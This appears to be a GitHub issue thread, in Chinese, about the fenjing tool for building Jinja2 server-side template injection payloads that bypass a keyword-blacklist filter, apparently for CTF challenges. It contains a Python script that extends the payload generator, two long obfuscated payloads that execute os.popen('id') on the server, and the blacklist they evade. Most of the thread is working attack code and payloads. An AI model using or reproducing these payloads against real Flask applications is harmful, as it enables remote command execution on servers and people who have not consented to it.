Closed Lazzzaro closed 1 year ago
这个主要是百分号字符和数字100没法绕过,手动将规则加入生成器后就可以了,代码如下:
from fenjing import const
from fenjing.full_payload_gen import FullPayloadGen
import logging
logging.basicConfig(level=logging.INFO)
blacklist = ['_', "'", '"', '.', 'system', 'os', 'eval', 'exec', 'popen', 'subprocess',
'posix', 'builtins', 'namespace', 'open', 'read', '\\', 'self', 'mro', 'base',
'global', 'init', '/', '00', 'chr', 'value', 'get', "url", 'pop', 'import',
'include', 'request', '{{', '}}', '"', 'config', '=']
def waf(s: str):
return all(word not in s for word in blacklist)
def get_char(target):
"""
根据给定的字符生成对应的payload
"""
d = {
"(x|pprint|list|batch(X)|first|last)": {
0:'!', 1:'U', 2:'n', 3:'d', 4:'e', 5:'f', 6:'i', 7:'n', 8:'e',
},
"(lipsum|string|list|batch(X)|first|last)": {
0: '!', 1: '&', 2: 'f', 3: 'u', 4: 'n', 5: 'c', 6: 't', 7: 'i', 8: 'o', 9: 'n', 10: ' ', 11: 'g', 12: 'e', 13: 'n', 14: 'e', 15: 'r', 16: 'a', 17: 't', 18: 'e', 19: '_', 20: 'l', 21: 'o', 22: 'r', 23: 'e', 24: 'm', 25: '_', 26: 'i', 27: 'p', 28: 's', 29: 'u', 30: 'm', 31: ' ', 32: 'a', 33: 't', 34: ' ',
},
"(()|batch(1)|string|list|batch(X)|first|last)": {
0: '!', 1: '&', 2: 'g', 3: 'e', 4: 'n', 5: 'e', 6: 'r', 7: 'a', 8: 't', 9: 'o', 10: 'r', 11: ' ', 12: 'o', 13: 'b', 14: 'j', 15: 'e', 16: 'c', 17: 't', 18: ' ', 19: 'd', 20: 'o', 21: '_', 22: 'b', 23: 'a', 24: 't', 25: 'c', 26: 'h', 27: ' ', 28: 'a', 29: 't', 30: ' ',
}
}
for outer, inner in d.items():
for i, c in inner.items():
if c == target:
return outer.replace("X", str(i))
raise Exception()
def main():
"""
FullPayloadGen生成的payload由两部分组成
后面的部分是用户实际要求的payload,一般由{{}}包裹
前面的部分,即下方的context_payload, 仅为后面的部分准备上下文,一般为{%set xxx=yyy}
前面为后面准备的变量存储在context字典中,键是生成payload时需要用到的表达式,值是此表达式对应的值
"""
full_payload_gen = FullPayloadGen(waf)
# 让FullPayloadGen先分析waf函数
full_payload_gen.do_prepare()
print(f"{full_payload_gen.context=}", )
print(f"{full_payload_gen.context_payload=}", )
chr_payload = (
"lipsum|attr(GLOBAL)|attr(GETITEM)(BUILTINS)|attr(GETITEM)(CHR)"
.replace("GLOBAL", "+".join(get_char(c) for c in "__globals__"))
.replace("GETITEM", "+".join(get_char(c) for c in "__getitem__"))
.replace("BUILTINS", "+".join(get_char(c) for c in "__builtins__"))
.replace("CHR", "+".join(get_char(c) for c in "chr"))
)
chr_in_lipsum = (
"{%if(lipsum|attr(SETATTR)(()|string, CHR_PAYLOAD))%}{%endif%}"
.replace("SETATTR", "+".join(get_char(c) for c in "__setattr__"))
.replace("CHR_PAYLOAD", chr_payload))
# 再将对应的payload放进FullPayloadGen中
# 生成payload时需要用到的表达式,表达式对应的值,使用这个表达式需要增加的payload
for literal, value, payload in [
("(lipsum|attr(()|string))(37)", "%", chr_in_lipsum),
(hex(100), 100, "")
]:
full_payload_gen.context[literal] = value
full_payload_gen.context_payload += payload
payload, _ = full_payload_gen.generate(const.OS_POPEN_READ, "echo 11111111111")
print(payload)
if __name__ == "__main__":
main()
我还在将这个规则加入到生成器中,可以参考上方的脚本加入规则并生成payload
生成的payload非常长,如果有更好的payload也可以告诉我
找到一个更加简单的方法,已经加进去了,使用pip install -U fenjing
更新即可
可以加一个手动设置cookie的参数吗,有一道题需要手动修改flask-session,即cookie值后,才能进入到SSTI入口。
可以考虑一下
而且大佬,因为是GET请求,尝试了一下命令执行id命令,payload有这么长:{%print(((((((lipsum[(lipsum|escape|batch(22)|list|first|last)*2+(((((lipsum,)|map(((lipsum|string|list|batch(3)|first|last)~(lipsum|string|list|batch(15)|first|last)~(lipsum|string|list|batch(20)|first|last)~(x|pprint|list|batch(4)|first|last)~(x|pprint|list|batch(2)|first|last)~(lipsum|string|list|batch(5)|first|last)~(lipsum|string|list|batch(8)|first|last)~(x|pprint|list|batch(3)|first|last)~(x|pprint|list|batch(4)|first|last)))|list|first|first)+(lipsum|escape|batch(8)|first|last))*7)%(103,108,111,98,97,108,115))+(lipsum|escape|batch(22)|list|first|last)*2])[(((((lipsum,)|map(((lipsum|string|list|batch(3)|first|last)~(lipsum|string|list|batch(15)|first|last)~(lipsum|string|list|batch(20)|first|last)~(x|pprint|list|batch(4)|first|last)~(x|pprint|list|batch(2)|first|last)~(lipsum|string|list|batch(5)|first|last)~(lipsum|string|list|batch(8)|first|last)~(x|pprint|list|batch(3)|first|last)~(x|pprint|list|batch(4)|first|last)))|list|first|first)+(lipsum|escape|batch(8)|first|last))*12)%(95,95,98,117,105,108,116,105,110,115,95,95))])[(((((lipsum,)|map(((lipsum|string|list|batch(3)|first|last)~(lipsum|string|list|batch(15)|first|last)~(lipsum|string|list|batch(20)|first|last)~(x|pprint|list|batch(4)|first|last)~(x|pprint|list|batch(2)|first|last)~(lipsum|string|list|batch(5)|first|last)~(lipsum|string|list|batch(8)|first|last)~(x|pprint|list|batch(3)|first|last)~(x|pprint|list|batch(4)|first|last)))|list|first|first)+(lipsum|escape|batch(8)|first|last))*4)%(101,118,97,108))])((((((lipsum,)|map(((lipsum|string|list|batch(3)|first|last)~(lipsum|string|list|batch(15)|first|last)~(lipsum|string|list|batch(20)|first|last)~(x|pprint|list|batch(4)|first|last)~(x|pprint|list|batch(2)|first|last)~(lipsum|string|list|batch(5)|first|last)~(lipsum|string|list|batch(8)|first|last)~(x|pprint|list|batch(3)|first|last)~(x|pprint|list|batch(4)|first|last)))|list|first|first)+(lipsum|escape|batch(8)|first|last))*28)%(95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,112,111,112,101,110,40,39,105,0x64,39,41))))[(((((lipsum,)|map(((lipsum|string|list|batch(3)|first|last)~(lipsum|string|list|batch(15)|first|last)~(lipsum|string|list|batch(20)|first|last)~(x|pprint|list|batch(4)|first|last)~(x|pprint|list|batch(2)|first|last)~(lipsum|string|list|batch(5)|first|last)~(lipsum|string|list|batch(8)|first|last)~(x|pprint|list|batch(3)|first|last)~(x|pprint|list|batch(4)|first|last)))|list|first|first)+(lipsum|escape|batch(8)|first|last))*4)%(114,101,97,0x64))])()))%}
,
因为GET方式传值有长度限制,在浏览器传值貌似会报错500。
这个payload我用python和bp交都成功了,可能是浏览器解析的问题导致报错500 脚本设计之初就没有考虑payload长短的问题,需要缩短payload的话现在还是只能手动分析。
测试成功了,原来是少了url编码,谢谢!
提供一个更短一些的官方payload:
{%print(lipsum|attr(({}|select()|trim|list)[24]~({}|select()|trim|list)[24]~({}|select()|trim|list)[1]~(dict|trim|list)[2]~({}|select()|trim|list)[8]~({}|select()|trim|list)[12]~(dict|trim|list)[3]~(dict|trim|list)[2]~(dict|trim|list)[4]~({}|select()|trim|list)[24]~({}|select()|trim|list)[24])|attr(({}|select()|trim|list)[24]~({}|select()|trim|list)[24]~({}|select()|trim|list)[1]~({}|select()|trim|list)[2]~(dict|trim|list)[11]~(dict|trim|list)[9]~(dict|trim|list)[11]~({}|select()|trim|list)[2]~(lipsum|trim|list)[23]~({}|select()|trim|list)[24]~({}|select()|trim|list)[24])(({}|select()|trim|list)[8]~(dict|trim|list)[4])|attr((lipsum|trim|list)[26]~({}|select()|trim|list)[8]~(lipsum|trim|list)[26]~({}|select()|trim|list)[2]~({}|select()|trim|list)[3])((lipsum|attr(({}|select()|trim|list)[24]~({}|select()|trim|list)[24]~({}|select()|trim|list)[1]~(dict|trim|list)[2]~({}|select()|trim|list)[8]~({}|select()|trim|list)[12]~(dict|trim|list)[3]~(dict|trim|list)[2]~(dict|trim|list)[4]~({}|select()|trim|list)[24]~({}|select()|trim|list)[24])|trim()|list())[288]~({}|select()|trim|list)[5]~({}|select()|trim|list)[2]~(dict|trim|list)[3]~(dict|trim|list)[8]~({}|select()|trim|list)[41]~(dict|trim|list)[2]~(dict|trim|list)[3]~({}|select()|trim|list)[1])|attr(({}|select()|trim|list)[5]~({}|select()|trim|list)[2]~(dict|trim|list)[3]~(dict|trim|list)[8])())%}
blacklist = ['_', "'", '"', '.', 'system', 'os', 'eval', 'exec', 'popen', 'subprocess', 'posix', 'builtins', 'namespace','open', 'read', '\', 'self', 'mro', 'base', 'global', 'init', '/','00', 'chr', 'value', 'get', "url", 'pop', 'import', 'include','request', '{{', '}}', '"', 'config','=']